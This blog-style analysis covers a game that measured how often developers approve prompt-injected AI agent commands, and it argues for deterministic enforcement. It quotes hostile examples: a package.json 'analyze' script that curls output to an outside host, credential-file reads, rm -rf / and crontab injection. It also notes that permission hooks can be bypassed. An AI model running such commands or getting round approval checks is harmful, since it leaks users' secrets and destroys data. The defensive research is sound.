Human-in-the-Loop Is Not a Security Boundary: What 40,000 Approvals of AI Agent Commands Actually Show

A friend pointed me at Alex Wauters’s follow-up post on Scale X yesterday — same data set he’d been teasing on Hacker News, now with the actual numbers behind the screenshots. The original game is llmgame.scalex.dev and the headline is one of those findings that sits weirdly between obvious-in-retrospect and alarming-when-measured: across 40,000 plays and 409,000 individual approve/deny decisions, the average human-in-the-loop missed 1 in 3 threats (mean accuracy 66.3%). Seven percent of players approved every single prompt, including the malicious ones. 32.9% of sessions ended with a negative score — penalties from approved threats and over-blocked safe commands outweighed everything done right.

The post is a write-up, not an academic paper, and Wauters is honest about the methodology. The game is a 60-second browser simulation, the threats are labelled in the agent’s history log, the time pressure is artificial, and the threat density is ~34% — vastly higher than the real world. None of that makes the headline less interesting, because the question he set out to answer was never “can a perfect human catch a perfect attack?” It was “what happens when you ask a normal developer to be the last line of defence against a prompt-injected agent, in the kind of attention environment they actually work in?” The answer is they miss one third of the attacks, and the ones they miss are not the ones the security training literature tells them to worry about.

The miss-rate table that re-orders the threat model

The single most useful artefact in the write-up is a four-row table of threat categories against miss rates:

Category	Examples	Miss rate
Obviously destructive	rm -rf /, chmod -R 777 /	11.7%
Persistent mutation	crontab injection, git config hijack	23.8%
Exfiltration / code execution	curl to unknown APIs, typosquatted packages	33.4%
Scope violations	cat ~/.aws/credentials, cat ~/.kube/config	35.0%

The order is upside-down from the standard mental model. “Obviously destructive” — the ones every CI tutorial tells you to block — is caught almost nine times out of ten. “Scope violations” — the credential reads, the ~/.zshrc reads, the silent cat ~/.ssh/id_rsa — are missed more often than the malware-style injections they’re usually lumped with. The reason isn’t stupidity. It’s that destructive commands look scary in isolation, and a credential read looks like something the agent has a plausible reason to need. The mental shortcut “I’ve seen cat before, the agent’s debugging something” is a stronger pull than the mental shortcut “this command touches my filesystem in a way I can’t reverse.”

The most-missed single command in the entire game is npm run analyze, approved 64.7% of the time. Wauters shows the agent’s own history log right above the approval prompt:

I'll run the bundle analyzer — it's already set up in the project scripts.

// package.json → scripts
"analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | \
curl -s -X POST https://api.bundle.track/report -d @-"

The payload is right there, in plain text, immediately above the approve button. Two-thirds of players approved it anyway. The pooled miss rate on the three “innocent npm script name” attacks in the game is 52.5% versus 28.4% for every other exfiltration-style attack, on a sample of 9,482 decisions. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is surfaced in the prompt. That is the entire prompt-injection supply chain compressed into one number.

What this means for the way the approval model works

The under-discussed finding is the second half of the table — the over-blocked commands. Wauters lists three benign commands that get blocked at absurd rates:

• npm config set registry https://npm.internal — blocked 59% of the time. It’s setting an internal mirror.
• rm -rf dist/ — blocked 45%. It’s clearing build output before a fresh build.
• kill $(lsof -t -i:3000) — blocked 43%. It’s freeing a port a crashed process is squatting on.

These are commands any working developer approves multiple times a day without thinking. In the game, players block them at 40–60% rates. The asymmetry is the point. The human is being asked to make a judgement that requires context they don’t have — is this rm -rf clearing build output or wiping my home directory? — and the safest move against the unknown context is to block. So they block. The agent grinds. The user gets frustrated. Over a session, the noise accumulates and the user’s defence either hardens into blanket blocking (the “Human Bottleneck” title in the game, awarded for blocking everything) or collapses into blanket approval. Wauters cites Anthropic’s own framing — “the more approvals a user sees, the less attention they pay to each” — and notes that the empirical miss-rate curve within a single game session is consistent with that: every player group improves over the first couple of commands and then the miss rate climbs back up towards the end of the run. The curve is exactly what permission fatigue theory predicts.

The most interesting structural failure in the model is what Wauters calls the “contested cat” — cat ~/.zshrc was approved by 45.9% of players, the most divisive single command. The HN comments on this are correct: plenty of developers keep no secrets in their shell profile, so for them it’s harmless. For everyone who exports API keys in .zshrc, it’s credential disclosure. The command’s risk depends entirely on a setup the agent can’t see. You cannot make a security judgement about an opaque file read without knowing what that file contains, and asking the user to confirm the command is asking them to do precisely that. The approval model doesn’t degrade gracefully when the relevant context is hidden — it just produces arbitrary-looking decisions.

Why this is the right time to be talking about agent permissions

Three threads have been converging on this problem from different directions over the last six months and the Scale X data set is the first one that’s quantified the failure mode end-to-end. The first thread is Anthropic’s claude code --dangerously-skip-permissions flag and the unofficial etiquette that has grown up around it (most experienced users I know treat the yolo-mode flag as the default and reach for per-command approval only when they actually distrust the model). The second is the Kintsugi project from earlier this summer — a local-first pre-tool hook layer that parses real bash ASTs (not substrings), writes every command to a hash-chained log, and refuses to let a local LLM unblock a deterministic rule-based block. Kintsugi explicitly distinguishes between “nothing is unrecoverable” and “nothing runs un-warned” — the author is honest that hooks can be bypassed by a clever agent running in yolo mode and by absolute-path binaries, so the layer is a seatbelt, not a kernel firewall. The third is the MCP tunnels / self-hosted sandboxes architecture Anthropic published in May, which routes outbound-only mTLS through a gateway and explicitly resolves the credential-proxying-vs-credential-sharing problem from the April MCP RCE disclosure. None of these individually is a full answer, but they’re the components a real answer is going to be assembled from: deterministic command-class rules, hash-chained logs, sandboxed execution, and least-privilege token issuance at the gateway level.

What I think the Scale X data set argues against is the most common framing, which is that human approval is one of the layers in a defence-in-depth model and we just need to make it better. The numbers say that’s not what’s happening. The numbers say human approval, as currently practised, is the layer that fails first, fails most often, and fails in a way that correlates with how much the user trusts the agent — which is the worst possible failure mode for a security boundary. The right move is to treat human approval as a diagnostic signal — what does the user think is dangerous? what context are they missing? what command shapes consistently fool them? — and to put the actual enforcement in the deterministic layer below it.

What I’d want to see measured next

Three things I want the next version of this experiment to include.

First, threat density as a controlled variable. Wauters runs the game at ~34% threats. The real working environment for most developers is closer to 0.5–2%. A run at 1% threats would measure whether the human-in-the-loop degrades under the much higher approval-to-signal ratio they actually live with, or whether the high density in the game is a worst-case that overstates the real-world miss rate.

Second, a “context available” condition. Show the player the contents of package.json, the contents of ~/.zshrc, and the recent git diff before they make the call, and re-measure miss rates. My strong prediction is that miss rates on npm run analyze collapse to single digits when the payload is in the user’s working memory instead of an “agent history log” dropdown they have to scroll to. If so, the fix is not a better classifier, it’s a better prompt.

Third, a “policy available” condition. Show the player a one-line policy annotation per command — “this command reads a credential file” / “this command runs an arbitrary script from package.json” — and re-measure. This is what Anthropic’s “Auto Mode” is implicitly trying to do, and the Shieldstral approach Mistral published last week — a 3B model that turns the entire safety-classifier problem into a single yes/no token with the policy supplied at inference time — is a serious attempt to make the annotation both cheap and general. The natural follow-up experiment is: does pre-annotating the commands in this game with Shieldstral-style labels drop miss rates more than it increases time-to-decision? My guess is yes, with the caveat that the annotation cost is real and the 3B model still gets fooled by the npm run family of tricks at non-trivial rates.

The real win condition for the field is not “build the better detector” — StoryScope was the post two days ago and the structural-detection arms race is still open. The win condition is moving the human out of the security loop entirely for the decisions that can be made deterministically, leaving them in the loop only for the genuinely ambiguous ones where context matters, and measuring whether the residual human-in-the-loop burden drops below the fatigue threshold. The Scale X 40,000-play data set is the first number we have that quantifies how far we are from that goal today. The answer, as of August 2026: about 28 percentage points.